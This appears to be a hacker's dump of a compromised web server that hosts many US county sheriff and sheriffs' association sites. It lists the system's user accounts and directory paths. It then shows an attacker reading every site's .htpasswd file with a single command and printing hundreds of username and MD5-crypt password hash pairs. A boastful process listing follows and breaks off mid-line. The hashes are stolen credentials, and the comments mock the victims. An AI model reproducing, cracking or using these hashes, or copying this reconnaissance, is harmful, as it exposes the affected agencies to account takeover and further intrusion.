tcsoms:x:10043:2522::/var/www/vhosts/tatecountysheriff.com:/bin/false
hcsoks:x:10018:2522::/var/www/vhosts/hodgemansheriff.us:/bin/false
jcsoks:x:10044:2522::/var/www/vhosts/jeffersoncountykssheriff.com:/bin/false
mosa:x:10045:2522::/var/www/vhosts/mosheriffs.com:/bin/false
pcsoks:x:10046:2522::/var/www/vhosts/prattcountysheriff.com:/bin/false
johms_sync:x:10047:10047::/var/www/vhosts/jocomosheriff.org/home:/bin/bash
hcsar:x:10022:2522::/var/www/vhosts/howardcountysheriffar.com:/bin/false
hscar:x:10048:2522::/var/www/vhosts/hotspringcountysheriff.com:/bin/false
pcsoia:x:10049:2522::/var/www/vhosts/plymouthcountysheriff.com:/bin/false
mcsd:x:10050:2522::/var/www/vhosts/marioncountysheriffar.com:/bin/false
wsoks:x:10051:2522::/var/www/vhosts/woodsonsheriff.com:/bin/false
mosa2010:x:10052:10052::/var/www/vhosts/mosheriffs.com/httpdocs/academy/
file_manager:/bin/bash
faoret:x:10053:2522::/var/www/vhosts/faoret.com:/bin/false
bcso_tiger:x:10054:2522::/var/www/vhosts/boonesheriff.com/home:/bin/false
stcsd:x:10055:2522::/var/www/vhosts/stonecountysheriff.com:/bin/false
ccsoms:x:10056:2522::/var/www/vhosts/coahomacountysheriff.com:/bin/false
kcsoms:x:10057:2522::/var/www/vhosts/kempercountysheriff.com:/bin/false
pcsoks_sync:x:10058:10058::/var/www/vhosts/prattcountysheriff.com/home:/bin/
false
mocsd:x:10059:2522::/var/www/vhosts/monroecountysheriffar.com:/bin/false
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
bcsoga:x:10060:2522::/var/www/vhosts/bakercountysheriffoffice.org:/bin/false
jonms_sync:x:10061:10061::/var/www/vhosts/jonesso.com/home:/bin/bash
jcsoks_sync:x:10062:10062::/var/www/vhosts/jeffersoncountykssheriff.com/home:/
bin/bash
cpsola:x:10063:2522::/var/www/vhosts/cameronso.org:/bin/false
cgsomo:x:10064:2522::/var/www/vhosts/capecountysheriff.org:/bin/false
sfsoar:x:10065:2522::/var/www/vhosts/stfranciscountysheriff.org:/bin/false
sfsoar_sync:x:10066:10066::/var/www/vhosts/stfranciscountysheriff.org/home:/bin/
bash
code:x:10067:2522::/var/www/vhosts/mostwantedwebsites.net/subdomains/code:/bin/
false
fcsoga:x:10068:2522::/var/www/vhosts/floydcountysheriff.org:/bin/false
mcsoga:x:10069:2522::/var/www/vhosts/meriwethercountysheriff.org:/bin/false
code2:x:10070:2522::/var/www/vhosts/admin.mostwantedwebsites.net:/bin/false
kcsoil:x:10071:2522::/var/www/vhosts/knoxcountysheriffil.com:/bin/false
mcsoal:x:10072:2522::/var/www/vhosts/marionsoal.com:/bin/false
sgsomo:x:10073:2522::/var/www/vhosts/sgcso.com:/bin/false
gcsoms:x:10074:2522::/var/www/vhosts/georgecountymssheriff.com:/bin/false
stoms:x:10075:2522::/var/www/vhosts/stonecountymosheriff.com:/bin/false
hcsar_sync:x:10076:10076::/var/www/vhosts/howardcountysheriffar.com/home/:/bin/
bash
alsa:x:10077:2522::/var/www/vhosts/alabamasheriffs.com:/bin/false
pcsoar:x:10078:2522::/var/www/vhosts/perrycountysheriffar.org:/bin/false
rcsd:x:10079:2522::/var/www/vhosts/randolphcountysheriff.org:/bin/false
tisoms:x:10081:2522::/var/www/vhosts/tishomingocountysheriff.com:/bin/false
stoms_sync:x:10082:10082::/var/www/vhosts/stonecountymosheriff.com/home:/usr/
libexec/openssh/sftp-server
prsoar:x:10083:2522::/var/www/vhosts/prairiecountysheriff.org:/bin/false
mcsd_sync:x:10084:10084::/var/www/vhosts/marioncountysheriffar.com/home/xmlapp:/
bin/bash
jccgms:x:10086:2522::/var/www/vhosts/jeffersoncountyms.gov:/bin/false
ccsook:x:10087:2522::/var/www/vhosts/sheriffcomanche.com:/bin/false
fcsoar:x:10088:2522::/var/www/vhosts/fultoncountyso.org:/bin/false
poalac:x:10085:2522::/var/www/vhosts/poalac.org:/bin/false
arsa:x:10091:2522::/var/www/vhosts/arkansassheriffsassociation.com:/bin/false
rcpica:x:10080:2522::/var/www/vhosts/rcpi-ca.org:/bin/false
ciga:x:10092:2522::/var/www/vhosts/cityofgassville.org:/bin/false
sfcgar:x:10093:2522::/var/www/vhosts/stfranciscountyar.org:/bin/false
lcsomo:x:10094:2522::/var/www/vhosts/lcsdmo.com:/bin/false
tcsoal:x:10095:2522::/var/www/vhosts/talladegasheriff.org:/bin/false
jwiegand:x:10096:10096::/home/jwiegand:/bin/bash
bcsf:x:10097:2522::/var/www/vhosts/baxtercountysherifffoundation.org:/bin/false
prsoms:x:10089:2522::/var/www/vhosts/prentisscountymssheriff.com:/bin/false
acsoms:x:10098:2522::/var/www/vhosts/adamscosheriff.org:/bin/false
kssa:x:10099:2522::/var/www/vhosts/kansassheriffs.org:/bin/false

// CAT'N HUNDREDS OF .HTPASSWD FILES IN ONE COMMAND LIKE A BOSS

$ cat /var/www/vhosts/*/pd/*
2010user:$1$YfJPNAST$w9rRAaYhAMjpkw.GRLUD90
jdpa:$1$e1JbcQkZ$sR59gW8uPd/6Dyae9xneL0
jdpa:$1$uBEldfcW$mzSY61wj97PN41JWNPcA9/
jdpa:$1$e1JbcQkZ$sR59gW8uPd/6Dyae9xneL0
acsoms:$1$/OuADgxB$l7pPU2kXeKlw7Iz9NLGID.
acsoms:$1$uDsXPWpq$mhRoR3B3JicVBpuHWxYue1
acsoms:$1$uDsXPWpq$mhRoR3B3JicVBpuHWxYue1
code:$1$7.KAx/YD$J7SuxsDsBOij.qgPD3GJ60
code:$1$7.KAx/YD$J7SuxsDsBOij.qgPD3GJ60
alsa:$1$gg9rFhvF$S41htlhsl3AJYZu4dKWR50
alsa:$1$RnNxf5wV$NMmcQvODrjBzyi0RI1MqO.
alsa:$1$RnNxf5wV$NMmcQvODrjBzyi0RI1MqO.
arsa:$1$uKT57hqw$3KrrKngKKD.J8nFMYq0nf/
arsa2:$1$T5fkiwpg$e/uoUu17TnKUZU2pcgZhw1
arsa:$1$3GhQNCaB$27W57EtzM3cih1f3mq3PJ.
arsa2:$1$T5fkiwpg$e/uoUu17TnKUZU2pcgZhw1
arsa:$1$3GhQNCaB$27W57EtzM3cih1f3mq3PJ.
bcsoga:$1$wD0B3RJw$F/kRNzUrqyAsXGEZUUt7t.
bcsoga:$1$WYfgp0d5$yGsh3sHH74GpPqmsI./K..
bcsoga:$1$WYfgp0d5$yGsh3sHH74GpPqmsI./K..
barms:$1$SUoLPR6X$xTEXrkDGFZax3XGxa0RIv.
barms:$1$n5/TqDsD$Je.PVoLmE.WjgYgnPOOZ91
barms:$1$2bdOu.yt$HfX7Ziq4mwgqQxFCBlnNq0
barms:$1$SUoLPR6X$xTEXrkDGFZax3XGxa0RIv.
barms:$1$n5/TqDsD$Je.PVoLmE.WjgYgnPOOZ91
bcsd:$1$.wyutJHS$fI7mFoV8F0txtXS3yCYxr.
bcsd:$1$8HNY0AzH$FLIStjcXdzSLFnVcWOs7/1
bcsf:$1$/xEB/mNM$5JyBevwhGqzByNokDINVe/
bcsf:$1$hRqF1Z2z$/FHJTOkZj0hUgiPlQ0vfc/
bcsf:$1$hRqF1Z2z$/FHJTOkZj0hUgiPlQ0vfc/
bocg:$1$d04I8Pzb$W0qBTons8Dmm2Jw9We3xB/
bocg:$1$02/JMqdi$AlaU02rOAV3KvEnUNNL8D0
bocg:$1$GvD5EuF.$RZ/I71SmN2YCppnS3KtbT0
bocg:$1$02/JMqdi$AlaU02rOAV3KvEnUNNL8D0
bocs:$1$oZB0olYk$/qQ.rLe8/yBnA5lT4HDga1
bocs:$1$VKqRM2ax$zoW/qKKWb8gOJtgV0fq4l0
bocs:$1$qsQEjN0k$8UNgs23OwLrA73XUXxSCa.
bocs:$1$VKqRM2ax$zoW/qKKWb8gOJtgV0fq4l0
cpsola:$1$A0/je.pN$ZGoDb3fmCJdQ1qUB6aRhk1
cpsola:$1$xW03epN7$kzwfnnjUKA9gDDkKY8wW90
cpsola:$1$xW03epN7$kzwfnnjUKA9gDDkKY8wW90
cgsomo:$1$VEkM1y42$PkxqdiFVBiJ6pt/lbKd1M1
cgsomo:$1$pxHLS2OD$o2/3rANs15wVSytWjf2dW.
cgsomo:$1$VEkM1y42$PkxqdiFVBiJ6pt/lbKd1M1
cgsomo:$1$pxHLS2OD$o2/3rANs15wVSytWjf2dW.
ccsal:$1$nqrzKwH1$1SUCJG3Ge1jLbd6a4pd.61
ccsal:$1$P2GM8ay4$CT6rlv6.Pa.gnGvdH/jGd0
ccsal:$1$IexvBxv4$d.exkq9idTn05wW6smXSF1
ccsal:$1$P2GM8ay4$CT6rlv6.Pa.gnGvdH/jGd0
ccsoks:$1$KKczisBp$d1rBOCK8iRkjmBZhv.YXp.
ccsoks:$1$BbttpHqg$TzMxb1f40QefP8kSIEpJn/
ciga:$1$Rv6VwWuC$vB55fX6KtgnttO7Bwjni71
ciga:$1$TmVOejq7$6l3ck2oHWua3./QacXOOY0
ciga:$1$Rv6VwWuC$vB55fX6KtgnttO7Bwjni71
ciga:$1$TmVOejq7$6l3ck2oHWua3./QacXOOY0
ciwy:$1$/DFbGKuZ$NNH1VE8TXfaBhuJHDca2x1
ciwy:$1$Hj5GiFRd$67iKTvcJ/vIn5QhHz0GSi.
ciwy:$1$9olIl6Nc$ycMPhxfVWGJ5Ka5ZLlEtK0
ciwy:$1$Hj5GiFRd$67iKTvcJ/vIn5QhHz0GSi.
ccsd:$1$IT4RKfjK$um0Ty6wMJ8O7kIIbIJqRD1
ccsd:$1$MtoFD9pW$WwKV7ocH2WZ4XeQIUji2t.
ccsd:$1$SORBbPS1$MPxim.kDNpNeuwwAE2Ugb0
ccsd:$1$MtoFD9pW$WwKV7ocH2WZ4XeQIUji2t.
ccsoms:$1$PGQZTZay$8g.aw5516ifzB9pfGUdZX.
ccsoms:$1$1jGRZXFI$M.ZHK0GCyYN9fDSzvXJqj1
ccsoms:$1$1jGRZXFI$M.ZHK0GCyYN9fDSzvXJqj1
crcg:$1$ygtelVAp$E9V85e3doWLLyyCMCv2KB1
crcg:$1$5su/.Qwz$X2HHctVlA6/HYhpzsR0c4.
crcg:$1$5su/.Qwz$X2HHctVlA6/HYhpzsR0c4.
crcsd:$1$r7WoQcbv$fR4knFo1YqBYUb91ES7/K.
crcsd:$1$cEVq9UZj$6hN2GCkyMdjGihvuErMm5.
crcsd:$1$cEVq9UZj$6hN2GCkyMdjGihvuErMm5.
dcsd:$1$/3GteTce$sYf4e6A7O0ais2J1EyTMz.
dcsd:$1$3uDJVnXz$ACH.YfW7RD6IkUmBJw.Qf1
dcsd:$1$BBBW.zd2$G4ZJegTfHreCJXwojwA8P0
dcsd:$1$3uDJVnXz$ACH.YfW7RD6IkUmBJw.Qf1
fcsoga:$1$oC0dNlM6$GfFCuZ2N2UnKMI9MZWbwb1
fcsoga:$1$OFx4pJAP$rtexMxn/zMfeVJ5X0b8Ht0
fcsoga:$1$OFx4pJAP$rtexMxn/zMfeVJ5X0b8Ht0
fcsoar:$1$NV21fnUn$TKRx2pGwv65iFBNS14mTF0
fcsoar:$1$NV21fnUn$TKRx2pGwv65iFBNS14mTF0
gcsoms:$1$Cp0Vf.Mu$9eMW4Joy12hktH7WGrBgE/
gcsoms:$1$ZJfK81Ef$mxUuwQyIxgR9Tcry9GaPJ0
gcsoms:$1$Cp0Vf.Mu$9eMW4Joy12hktH7WGrBgE/
gcsoms:$1$ZJfK81Ef$mxUuwQyIxgR9Tcry9GaPJ0
grcg:$1$Ivu4aPQu$weOoXmrm8jtNOUrFTS3vf.
grcg:$1$BtNB1Qvt$MECZW/z2scG0.YmU0275P1
grcg:$1$HPX7vhZO$LWzATw3fluPOYFYnDd3I61
grcg:$1$BtNB1Qvt$MECZW/z2scG0.YmU0275P1
gcsd:$1$T7O8tM.l$AUYTc4uhY7aYuhVfHNW/9/
gcsd:$1$.Kid76wv$TXtyOAf2OBlWRYpLETtmI/
gcsd:$1$07x6ii.Y$K33yOQCuMu9juWBU0.tw31
gcsd:$1$.Kid76wv$TXtyOAf2OBlWRYpLETtmI/
hcsoks:$1$3qklJZQ5$ERPeSxH1DtuX2pis0ah0q0
hcsoks:$1$AuLMRUku$8SKs01E6RyoJdROiAYDyc1
hcsoks:$1$AuLMRUku$8SKs01E6RyoJdROiAYDyc1
hscar:$1$gJJLpsPa$lQkGfO6sT0TM/p/ACmieM0
hscar:$1$7a5hW/P0$MQLz4hMPtybIEnXacaxkB/
hscar:$1$7a5hW/P0$MQLz4hMPtybIEnXacaxkB/
hcsar:$1$Jy4Wo5AA$dgDDznszPUBYPmuM7eBj9.
hscar:$1$563phfjq$fJXMTTDBQFGqbC41mVBCc1
hcsar:$1$mwnHyqQU$tLX26Szlbqp7IXYIp5Djt0
hscar:$1$563phfjq$fJXMTTDBQFGqbC41mVBCc1
hcsar:$1$mwnHyqQU$tLX26Szlbqp7IXYIp5Djt0
izcg:$1$SzRnGt.T$085pTzlcqWgJv7DguG6dv1
izcg:$1$rxszlSxW$JxnDEaPC8rll/JZuNY8sI/
izcg:$1$rxszlSxW$JxnDEaPC8rll/JZuNY8sI/
icsd:$1$XwGJZ7Ia$sj99HKjkzILx6qGDiWmHy.
icsd:$1$VHblzCiz$PK3BhSLA03R2DgweLIhb.0
icsd:$1$vo3ZSlXF$DTLKCc/7z6IFgvbFtvCAT1
icsd:$1$VHblzCiz$PK3BhSLA03R2DgweLIhb.0
izhth:$1$mrQmTDHz$Nr02zDwC5m7NxplWZWW0O/
izhth:$1$kW3h3D6.$ti22h0sbYTzw/Ofgjk8Rm1
izhth:$1$IbDSXX4O$sFVTpg5ts1EagLkzoNZQ30
izhth:$1$kW3h3D6.$ti22h0sbYTzw/Ofgjk8Rm1
jcsd:$1$ZkEh5MIb$v3l1z3PQZ5yyG5ABzWef2/
jcsd:$1$A87LOoWD$u80mHmVF294QXfQ7dVjb.0
jcsd:$1$HgNpXLdQ$KPP62pOHPjl7XslEBTqGH/
jcsd:$1$A87LOoWD$u80mHmVF294QXfQ7dVjb.0
jcsoks:$1$Z/D6TvAM$JGvIns6wx.RCPwv0C51TJ/
jcsoks:$1$OHfiOqfm$8tGCZ2uTAHXRBRNyJqazZ.
jcsoks:$1$OHfiOqfm$8tGCZ2uTAHXRBRNyJqazZ.
jccgms:$1$aHstkoLz$tOpRH9HwTGLjSF7YZRiuo.
jccgms:$1$cPnrWOYL$jpmVU3beLfxNR.98st9wR.
jccgms:$1$xi9Cf0im$4vC24C1vlcoteo1aDEFJW.
jccgms:$1$cPnrWOYL$jpmVU3beLfxNR.98st9wR.
johms:$1$fmryjChe$CwJyPptiu0Iwcai2LUTPu0
johms:$1$EGoRh47t$VeQc8nUMJpn0S0fPyvp0i1
johms:$1$nykSrZ50$0yH62S8FZq3NOczux2cjC/
johms:$1$EGoRh47t$VeQc8nUMJpn0S0fPyvp0i1
jocsd:$1$s63jViKP$gaT9byX/ySNJDMkA5.PCd.
jocsd:$1$9Zmq1s1M$/xBn12NyVfewPRMH0J73M1
jocsd:$1$u.mk/ipa$.WSRBIK6MvsWHcfTMt//I/
jocsd:$1$9Zmq1s1M$/xBn12NyVfewPRMH0J73M1
jonms:$1$fLjLWKCb$UDgyy9UzkwyiJC7AWtD40/
jonms:$1$GAvUpe2m$GBlG9CkDHQT7/w5eTW/Zt0
jonms2:$1$vyR1pe5I$ID4xTk5I3FHrrZ3BhYvgS.
jonms:$1$GAvUpe2m$GBlG9CkDHQT7/w5eTW/Zt0
jonms2:$1$vyR1pe5I$ID4xTk5I3FHrrZ3BhYvgS.
kssa:$1$YlbQvrcd$ruaMsfYDwhVlH1k/LGlIJ.
kssa:$1$nhxP66t9$GECAPnEVRDk9YnmSpzBzw/
kssa:$1$nhxP66t9$GECAPnEVRDk9YnmSpzBzw/
kcsoms:$1$goZMALd1$JnxVQ9J603tEsthqkadvE.
kcsoms:$1$Aku.pAac$sQku4Yf6IslqTJkGHyAYS1
kcsoms:$1$Aku.pAac$sQku4Yf6IslqTJkGHyAYS1
kcsoil:$1$4XOK98tG$kjOUaIN3ZNZepl3aCHijc.
kcsoil:$1$mnLz6xRu$uymq2TMKdpBwAmMiLszwK0
kcsoil:$1$mnLz6xRu$uymq2TMKdpBwAmMiLszwK0
lawmo:$1$MezHiiqn$OoLtNNLAm20gBBvW0BtOB0
lawmo:$1$h11BRv3g$wA.ITq8U0Cq4N4ZHoDVmC0
lawmo:$1$5jjY0Omy$eWZkfvCtF0tLdyDv9fmnC0
lcsomo:$1$I/cdxg/g$Pn2tTJK776Si9phzUfNzT1
lcsomo:$1$MkJfhMLZ$rAq1JH9h2GUCMAt2ee2Pe.
lcsomo:$1$MkJfhMLZ$rAq1JH9h2GUCMAt2ee2Pe.
mcsd:$1$NZpwhOoE$4zeC8H.PhoyVjsBhB4VFb1
mcsd:$1$7WN0tH.P$dF0W1vtyA905OcSktC2TG0
mcsd:$1$7WN0tH.P$dF0W1vtyA905OcSktC2TG0
mcsoal:$1$pXqWNJx3$1brOy.05LrQ82qohEMM5k0
mcsoal:$1$1/1E1eTW$epzJFtOGo/Me/eeo.6Dg//
mcsoal:$1$pXqWNJx3$1brOy.05LrQ82qohEMM5k0
mcsoal:$1$OPKYzsqo$WmTHzrV/WlbZPH4JWKQ41.
mcmtn:$1$dJKz4stC$wxWzTBkC76Mox8yv5i8z9/
mcmtn:$1$eiPrIslY$DwuwtcCE/lZGRRERwQzLj.
mcmtn:$1$AGtoxXro$zlQV8/C674RTOhMwp9Pqf1
mcmtn:$1$eiPrIslY$DwuwtcCE/lZGRRERwQzLj.
mcsoga:$1$p2oL7Pi5$LusOSWnvUHofJ0iAvhvEr0
mcsoga:$1$JBIgDN3w$NaxB7Cv29dmMlHu7SeULe0
mcsoga:$1$JBIgDN3w$NaxB7Cv29dmMlHu7SeULe0
mocsd:$1$1bJZUS9v$9cPKxA8hiX1bKbCz6Js1i1
mocsd:$1$SsZ3rxzM$knv3hb7EWCbl8PV5HKL7H/
mocsd:$1$SsZ3rxzM$knv3hb7EWCbl8PV5HKL7H/
mosa:$1$KHDMeYMH$n2TpSddsFNMedje0Wae1n0
mosa:$1$q4tmIHbo$ntiw9G1B1q.WciNBRMivy.
mosa:$1$KHDMeYMH$n2TpSddsFNMedje0Wae1n0
mosa:$1$q4tmIHbo$ntiw9G1B1q.WciNBRMivy.
CityPass:$1$pJ75xXss$N1LTh9EwM.aKAeZBjdp7N/
PerryCounty:$1$T6K61l6D$05/rRhPd6fDPqVuJUQKfF/
bjm2:$1$siaaoUej$HKLUXyUyF1MDSxZxZwuA60
bjm:$1$bXLmD2bt$4Rk5jfA2x8UcJ7W4Tw35s0
bjm2:$1$siaaoUej$HKLUXyUyF1MDSxZxZwuA60
bjm:$1$Sx95fGzg$6ASZ4J6kjziYIDH6xQcki1
2010user:$1$vFJrv2A6$K82FAw89ZvDc1pvHdLhA21
bjm:$1$Ok6D4NjH$EwV/0tzoir0Jg7tMNdaCi0
bjm:$1$Ds5nOfeW$snloc4PMymDdgG5ld6wjw/
bjm:$1$Ok6D4NjH$EwV/0tzoir0Jg7tMNdaCi0
ncsd:$1$3Ocas0HS$Wg2AZygMmPne.rCxh4n9Y0
ncsd:$1$oG2ozgkS$rWU7H1tSjruBwWTcgp7/Q1
ncsd:$1$bSp.iYg8$cr1ZzEYuBTVU.vCPhC6sw/
ncsd:$1$oG2ozgkS$rWU7H1tSjruBwWTcgp7/Q1
pcsoar:$1$K6/0rhqT$wRDJbN4R.bqsfghHNriYL0
pcsoar:$1$UccqZPzO$B340qL0btZjpC4B5sXjRA0
pcsoar:$1$K6/0rhqT$wRDJbN4R.bqsfghHNriYL0
pcsoar:$1$UccqZPzO$B340qL0btZjpC4B5sXjRA0
pcsoia:$1$e3ASKnqy$ps9LSniLjC3kOkGaGn5YM0
pcsoia:$1$yQNrFpc4$RHckr28Py0PEuaud1iwo50
pcsoia:$1$yQNrFpc4$RHckr28Py0PEuaud1iwo50
poalac:$1$wHCRN78K$bCGrbmh1nNblDl7T/qzaj.
poalac:$1$JsmvqHiU$o/tq6grKR/zCLOY2Uz9gS1
poalac:$1$wHCRN78K$bCGrbmh1nNblDl7T/qzaj.
poalac:$1$JsmvqHiU$o/tq6grKR/zCLOY2Uz9gS1
polms:$1$0WmykzWZ$TliFQQUb.tPhPMpuuaotW0
polms:$1$AWXV65hR$v1sMwFsSjZNrkfrNqgHmy.
polms:$1$0WmykzWZ$TliFQQUb.tPhPMpuuaotW0
polms:$1$AWXV65hR$v1sMwFsSjZNrkfrNqgHmy.
prsoar:$1$2jmIGv7j$0zSfngOL9UeBLq/zsuFGg1
prsoar:$1$EU8wJZpQ$J8f.N8UKLOOfAJEfbUTAw0
prsoar:$1$EU8wJZpQ$J8f.N8UKLOOfAJEfbUTAw0
pcsoks:$1$84DZ5jUv$22478RXYSJ83Yon/VbXoq0
pcsoks:$1$dWgONAoy$XDqV96Eij0BF.jLjwW7qr.
pcsoks:$1$dWgONAoy$XDqV96Eij0BF.jLjwW7qr.
prsoms:$1$Nfacesfq$cwqZNxlFjJo8N/RrOodIY1
prsoms:$1$iuK4mNPP$4MRRvrhMfc.sniKZxGwFS.
prsoms:$1$iuK4mNPP$4MRRvrhMfc.sniKZxGwFS.
rcsd:$1$aM0/EhqP$HPTN/wX2L0ErPIsaYADow1
rcsd:$1$bJTnrSZb$irgq.KT3PHaIXcb7fD9/11
rcsd:$1$bJTnrSZb$irgq.KT3PHaIXcb7fD9/11
rcpica:$1$6FIHrPeK$mspB9nNY4YNy/.9brKRlP.
rcpica:$1$SlOVAGuO$CrMYHXoe5EsoBX5C3HN1R1
rcpica:$1$SlOVAGuO$CrMYHXoe5EsoBX5C3HN1R1
sacsd:$1$ZLGR289Y$KevSJOo0PezTAqatJUouK.
sacsd:$1$L6oPyMeK$WJlfrokd6bZl8XzNAuwRx1
sacsd:$1$dIxeOzw5$SdsN7F6iYxyryZLodaDHC0
sacsd:$1$L6oPyMeK$WJlfrokd6bZl8XzNAuwRx1
scsd:$1$aRIkZHPq$dYZwP7SrhhumFy6QVTNr1/
scsd:$1$oJwcYy6M$/CY4yYYTWLsgIPvuGA6qZ0
scsd:$1$L05Gndoq$V8OevuZqUMK//gsBOPmxq1
scsd:$1$oJwcYy6M$/CY4yYYTWLsgIPvuGA6qZ0
sgsomo:$1$kFw.79HG$KMcvV/zhzzB2PUzy0860N.
sgsomo:$1$gG5yK4xU$ONDYP.tlcg6YTaB9NSAyJ0
sgsomo:$1$gG5yK4xU$ONDYP.tlcg6YTaB9NSAyJ0
shsd:$1$2Qzvqur1$erX5RIvC9bt48DoK9UXgn1
shsd:$1$KkowHXJI$0OENU1ePlaa16r6/R66RM.
shsd:$1$dWHRMEmO$r0SD3BNmRZFNgcJjd2zJh.
shsd:$1$KkowHXJI$0OENU1ePlaa16r6/R66RM.
ccsook:$1$vI8JJAm1$XXWEHCO6htvjMb56c/HE9/
ccsook:$1$jcQ9B6fS$h6xEznJEHVN2AJCwSIarf1
ccsook:$1$jcQ9B6fS$h6xEznJEHVN2AJCwSIarf1
sfcgar:$1$EqTn7VjG$LWSf095sVWtuTPWQioUVt/
sfcgar:$1$MUBD7oyy$.sTGmbMwRsdBYrfQXfbh6/
sfcgar:$1$MUBD7oyy$.sTGmbMwRsdBYrfQXfbh6/
sfsoar:$1$dvPtn2zd$GlH7j4etEjFOySAHu4oZV0
sfsoar:$1$pZBZJ3Bf$rQlq6FDy7VPjhPYFZ1P64.
sfsoar:$1$pZBZJ3Bf$rQlq6FDy7VPjhPYFZ1P64.
stoms:$1$2VDTPaiT$o6kUTW6UXLdy6zeqLL2q00
stoms:$1$WyeLFT5e$6KzSbxJ9MuqkYgAaonFqh.
stoms:$1$WyeLFT5e$6KzSbxJ9MuqkYgAaonFqh.
stcsd:$1$36mnxETG$J0BtoGvBQUIlajywJ65EU.
stcsd:$1$TRu9HU67$tsjdX..cGgp4/HOA5IRBk1
stcsd:$1$TRu9HU67$tsjdX..cGgp4/HOA5IRBk1
tcsoal:$1$8IvtSsof$Js4ss4101mHXRhS1UgW.z/
tcsoal:$1$Yf8T/mm8$xbXyku1q9H0g30wAxwler/
tcsoal:$1$/Ciht4fS$S4Hx3kHnNkm3Vu2Cl/E7.1
tcsoal:$1$Yf8T/mm8$xbXyku1q9H0g30wAxwler/
tcsoms:$1$aCobysj2$oZShF1So8TZCuH8dq79UE0
tcsoms:$1$ow2DKzUF$FKjZPhq5ahj/bWC.uPAl61
tcsoms:$1$ow2DKzUF$FKjZPhq5ahj/bWC.uPAl61
tisoms:$1$8mQ6hE6A$CvYlVP6fPLmuSHdyDJg4v1
tisoms:$1$BuFAYulO$kLtpxApIF4yvonPrSmfFW1
tisoms:$1$BuFAYulO$kLtpxApIF4yvonPrSmfFW1
tunms:$1$6F5myr2t$KmJLCml.CybyQjDqoG3TG1
tunms:$1$O42Xnjjg$pKnLJUYfC.weyl1U32Dtf1
tunms:$1$uWPMvVMY$v3Qc7eyUJB7Evpt0iSnOq1
tunms:$1$O42Xnjjg$pKnLJUYfC.weyl1U32Dtf1
vbcsd:$1$C0j6Be38$To6eb4DzaCtA46pN/x6sG.
vbcsd:$1$4e/iDO4I$6157lAdEF2IaaYKa2NwNS.
wcsoks:$1$WO9U6YiB$wEEafCY2i86zRpEi1hce20
wcsoks:$1$HZoMeTi0$gwdZvPQTqavG4sAiDlEXZ1
wsoks:$1$eSaYt0Fv$vi9zN.GAwbKGQoslpxDr11

// LETS SEE WHAT KINDA SHIT THEY RUNNIN

$ ps -aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0   2156   532 ?        Ss   Feb22   3:04 init [3]
root         2  0.0  0.0      0     0 ?        S    Feb22   0:35 [migration/0]
root         3  0.0  0.0      0     0 ?        SN   Feb22   4:16 [ksoftirqd/0]
root         4  0.0  0.0      0     0 ?        S    Feb22   0:00 [watchdog/0]
root         5  0.0  0.0      0     0 ?        S    Feb22   0:30 [migration/1]
root         6  0.0  0.0      0     0 ?        SN   Feb22   5:09 [ksoftirqd/1]
root         7  0.0  0.0      0     0 ?        S    Feb22   0:00 [watchdog/1]
root         8  0.0  0.0      0     0 ?        S    Feb22   0:38 [migration/2]
root         9  0.0  0.0      0     0 ?        SN   Feb22   3:03 [ksoftirqd/2]
root        10  0.0  0.0      0     0 ?        S    Feb22   0:00 [watchdog/2]
root        11  0.0  0.0      0     0 ?        S    Feb22   0:53 [migration/3]
root        12  0.1  0.0      0     0 ?        SN   Feb22 337:41 [ksoftirqd/3]
root        13  0.0  0.0      0     0 ?        S    Feb22   0:00 [watchdog/3]
root        14  0.0  0.0      0     0 ?        S<   Feb22   0:01 [events/0]
root        15  0.0  0.0      0     0 ?        S<   Feb22   0:00 [events/1]
root        16  0.0  0.0      0     0 ?        S<   Feb22   0:01 [events/2]
root        17  0.0  0.0      0     0 ?        S<   Feb22   0:13 [events/3]
root        18  0.0  0.0      0     0 ?        S<   Feb22   0:00 [khelper]
root        19  0.0  0.0      0     0 ?        S<   Feb22   0:00 [kthread]
root        25  0.0  0.0      0     0 ?        S<   Feb22   0:01 [kblockd/0]
root        26  0.0  0.0      0     0 ?        S<   Feb22   0:02 [kblockd/1]
root        27  0.0  0.0      0     0 ?        S<   Feb22   0:02 [kblockd/2]
root        28  0.0  0.0      0     0 ?        S<   Feb22   0:27 [kblockd/3]
root        29  0.0  0.0      0     0 ?        S<   Feb22   0:00 [kacpid]
root       128  0.0  0.0      0     0 ?        S<   Feb22   0:00 [cqueue/0]
root       129  0.0  0.0      0     0 ?        S<   Feb22   0:00 [cqueue/1]
root       130  0.0  0.0      0     0 ?        S<   Feb22   0:00 [cqueue/2]
root       131  0.0  0.0      0     0 ?        S<   Feb22   0:00 [cqueue/3]
root       134  0.0  0.0      0     0 ?        S<   Feb22   0:00 [khubd]
root       136  0.0  0.0      0     0 ?        S<   Feb22   0:00 [kseriod]
root       213  0.0  0.0      0     0 ?        S<   Feb22  71:43 [kswapd0]
root       214  0.0  0.0      0     0 ?        S<   Feb22   0:00 [aio/0]
root       215  0.0  0.0      0     0 ?        S<   Feb22   0:00 [aio/1]
root       216  0.0  0.0      0     0 ?        S<   Feb22   0:00 [aio/2]
root       217  0.0  0.0      0     0 ?        S<   Feb22   0:00 [aio/3]
root       372  0.0  0.0      0     0 ?        S<   Feb22   0:00 [kpsmoused]
root       417  0.0  0.0      0     0 ?        S<   Feb22   0:00 [ata/0]
root       418  0.0  0.0      0     0 ?        S<   Feb22   0:00 [ata/1]
root       419  0.0  0.0      0     0 ?        S<   Feb22   0:00 [ata/2]
root       420  0.0  0.0      0     0 ?        S<   Feb22   0:00 [ata/3]
root       421  0.0  0.0      0     0 ?        S<   Feb22   0:00 [ata_aux]
root       427  0.0  0.0      0     0 ?        S<   Feb22   0:00 [scsi_eh_0]
root       428  0.0  0.0      0     0 ?        S<   Feb22   0:00 [scsi_eh_1]
root       444  0.0  0.0      0     0 ?        S<   Feb22   0:00 [scsi_eh_2]
root       445  0.0  0.0      0     0 ?        S    Feb22   0:00 [hpt_wt]
root       446  0.0  0.0      0     0 ?        S<   Feb22 151:44 [kjournald]
root       471  0.0  0.0      0     0 ?        S<   Feb22   1:12 [kauditd]
root       504  0.0  0.0   2376   652 ?        S<   Feb22   0:00 [kmpathd/0]
root      1304  0.0  0.0      0     0 ?        S<   Feb22   0:00 [kmpathd/1]
root      1305  0.0  0.0      0     0 ?        S<   Feb22   0:00 [kmpathd/2]
root      1306  0.0  0.0      0     0 ?        S<   Feb22   0:00 [kmpathd/3]
root      1345  0.0  0.0   5072  1608 ?        S    Jul16   0:01
